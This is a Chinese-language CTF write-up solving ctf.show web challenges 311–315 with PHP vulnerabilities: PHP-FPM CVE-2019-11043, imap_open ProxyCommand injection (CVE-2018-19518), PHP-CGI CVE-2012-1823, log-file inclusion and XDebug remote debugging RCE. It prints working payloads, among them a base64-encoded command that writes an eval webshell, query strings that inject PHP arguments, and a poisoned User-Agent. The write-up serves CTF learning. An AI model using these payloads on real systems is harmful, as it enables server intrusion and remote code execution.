可能写的有点啰嗦，记录自己做题的过程
文章目录
web311:CVE-2019-11043
phpCVE,打开只有一个where is flag页面，注释也就只说了cve
于是去百度看看，发现这也太多了吧。看看群主的描述
似曾相识,就这一个文件，不用扫描
emmm，还是先抓个包吧
发包发现响应：X-Powered-By: PHP/7.1.33dev
然后去搜了一下发现为啥很多漏洞的修复版本是7.1.33。还是去试试
搜php7.1.33主要都是搜到CVE-2019-11043，远程代码执行漏洞
该漏洞位于PHP-FPM模块的env_path_info函数，在特定的nginx + php-fpm配置中，web用户就可能会进行代码执行。该漏洞需要在nginx.conf中进行特定配置才能触发。配置如下
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
使用%0a（换行符）来破坏正则，从而使得PATH_INFO为空
利用条件： nginx配置了fastcgi_split_path_info
受影响系统： PHP 5.6-7.x，Nginx>=0.7.31
复现需要golang环境
顺便去看看服务器有没有golang环境，没有就顺便装一个（主要是服务器装的快还不用我流量）
sudo apt install golang
安装工具：
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build
问题：
执行go get -v && go build会一直没反应
因为go proxy默认为proxy.golang.org，国内无法访问
执行命令换代理：go env -w GOPROXY=https://goproxy.cn
再次执行go get -v && go build
漏洞利用
go run . "http://92cdd785-55c4-4b35-85fa-ae1dc7fdc367.challenge.ctf.show/index.php"
然后我不知道为什么，有时候执行命令有回显，有时候执行无回显
总之多执行几次?a=ls，可以发现当前目录有一个fl0gHe1e.txt
直接访问即可
web312:CVE-2018-19518
依旧是先抓包：
Server: nginx/1.21.1
X-Powered-By: PHP/5.6.38
百度这个php版本，我百度到了CVE-2018-19518（远程命令执行漏洞）
漏洞简介
php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell，而debian/ubuntu中默认使用ssh来代替rsh的功能（也就是说，在debian系列系统中，执行rsh命令实际执行的是ssh命令）。
因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令，攻击者通过注入注入这个参数，最终将导致命令执行漏洞。
影响版本
PHP：5.6.38
系统：Debian/ubuntu
看完这个简介，很明显找对了漏洞，百度找一个复现的就好
漏洞利用
先随便发一个包
然后对自己想要发的内容进行一次base64编码
首先对<?php @eval($_POST[mumuzi]);?>进行一次base64编码
然后对echo "PD9waHAgQGV2YWwoJF9QT1NUW211bXV6aV0pOz8+" | base64 -d >/var/www/html/ma.php进行一次base64编码
得到ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzIxMWJYVjZhVjBwT3o4KyIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvbWEucGhw
注意：如果进行base64编码后，含有+ =，都要进行url编码即%2b %3d，所以为了保证不会出错，最好再对得到的base64编码后的字符串再进行url编码。相当于步骤为先base64编码，再url编码
然后将hostname的内容替换成x+-oProxyCommand%3decho%09编码后的内容|base64%09-d|sh}
即x+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzIxMWJYVjZhVjBwT3o4KyIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvbWEucGhw|base64%09-d|sh}
虽然有报错，但是访问ma.php发现已经存在此页面
成功执行
web313:CVE-2012-1823
依旧是where is flag?老规矩抓包
这一次是X-Powered-By: PHP/5.4.1
谷歌搜到CVE-2012-1823，好家伙，这不catf1ag复现过的题目（CGI）具体可以看P神博客PHP-CGI远程代码执行漏洞（CVE-2012-1823）分析
之前因为做过一次，我这里就直接拿payload打了
最终payload
/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
<?php echo system("cat /somewhere/fla9.txt"); ?>
web314:日志文件包含
<?php
error_reporting(0);
highlight_file(__FILE__);
//phpinfo
$file = $_GET['f'];
if(!preg_match('/\:/',$file)){
include($file);
}
应该是说flag在phpinfo里
这里过滤了冒号，我寻思web81不也是过滤冒号的么，甚至还过滤了php和data
然后我看了一眼写的web81的wp，尝试去跟着操作试试
成功
奇怪了，为什么说没有呢
看一下根目录，哦flag在根目录
最后:
GET /?f=/var/log/nginx/access.log
UA写User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36<?php system('cat /fl6g');?>
发包之后再访问一次即可
所以这和CVE有什么关系
web315:XDebug 远程调试漏洞
为什么推荐备用环境捏
PHP/7.1.12，题目描述：debug开启，端口9000
于是去百度debug 9000 CVE
第一篇就是ctfshow PHPCVE wp。。。
这也算自己做的过程，那就直接看了吧
XDebug 远程调试漏洞：https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce
影响
XDebug是PHP的一个扩展，用于调试PHP代码。如果目标开启了远程调试模式，并设置remote_connect_back = 1：
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
这个配置下，我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm，目标服务器的XDebug将会连接访问者的IP（或X-Forwarded-For头指定的地址）并通过dbgp协议与其通信，我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。
漏洞利用
因为需要使用dbgp协议与目标服务器通信，所以无法用http协议复现漏洞
有已经编写好的脚本：https://github.com/vulhub/vulhub/blob/master/php/xdebug-rce/exp.py
python3 exp.py -t http://be189f8f-1425-41a8-b830-87f722a186df.challenge.ctf.show/index.php -c 'shell_exec("ls /");'
注意：因为该通信是一个反向连接的过程，exp.py启动后其实是会监听本地的9000端口（可通过-l参数指定）并等待XDebug前来连接，所以执行该脚本的服务器必须有外网IP（或者与目标服务器处于同一内网）
弄了好几次也没成功，怪不得群主在描述中写推荐使用备用环境啊。
然后叫群主修了备用环境
访问即可
至此，phpCVE板块结束